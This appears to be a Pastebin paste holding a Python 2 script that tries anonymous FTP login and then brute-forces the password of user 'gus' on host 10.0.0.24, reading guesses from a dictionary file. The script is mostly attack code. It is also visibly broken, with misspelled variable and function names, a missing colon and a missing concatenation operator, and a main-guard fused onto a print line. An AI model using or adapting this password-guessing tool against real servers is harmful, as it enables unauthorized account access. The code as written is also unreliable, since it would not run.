Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import ftplib
- def connect(host,user,password):
- try:
- ftp = ftplib.FTP(host)
- ftp.login(user,password)
- ftp.quit()
- return True
- except:
- return False
- def main():
- #variables
- targetHostAddress = '10.0.0.24'
- username = 'gus'
- passwordFilePath = 'passwords.txt'
- #try to connect using anonymous credentials
- print '[+] Using anonymous credentials for' + targetHostAddress
- if connect(targetHOstAddress,'anonymous','test@test.com'):
- print '[+] FTP anonymous log on succeeded on host' + tagetHostAddress
- else:
- print'[+] FTP anonymous credentials failed on host' + targetHostAddress
- #Try brute force using dictionary files
- #open password dictionary file
- passwordsFile = opne(passwordsFilePath.txt,'r')
- for line in passwordFile.readlines():
- #clean the lines in the dictionary file
- password = line.strip('\r').strip('\n')
- print "TESTING: " + str(password)
- if connect(targetHostAddress,username,password)
- #password Found
- print "[*] FTP LOGIN SUCCEDDED on HOST " + targetHostAddress + "Username: " + username "Password: " + password
- exit(0)
- else:
- #password not found
- print "[*] FTP LOGIN FAILED on HOST: " + targetHostAddress + "Username: " + username "Password: " + password if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement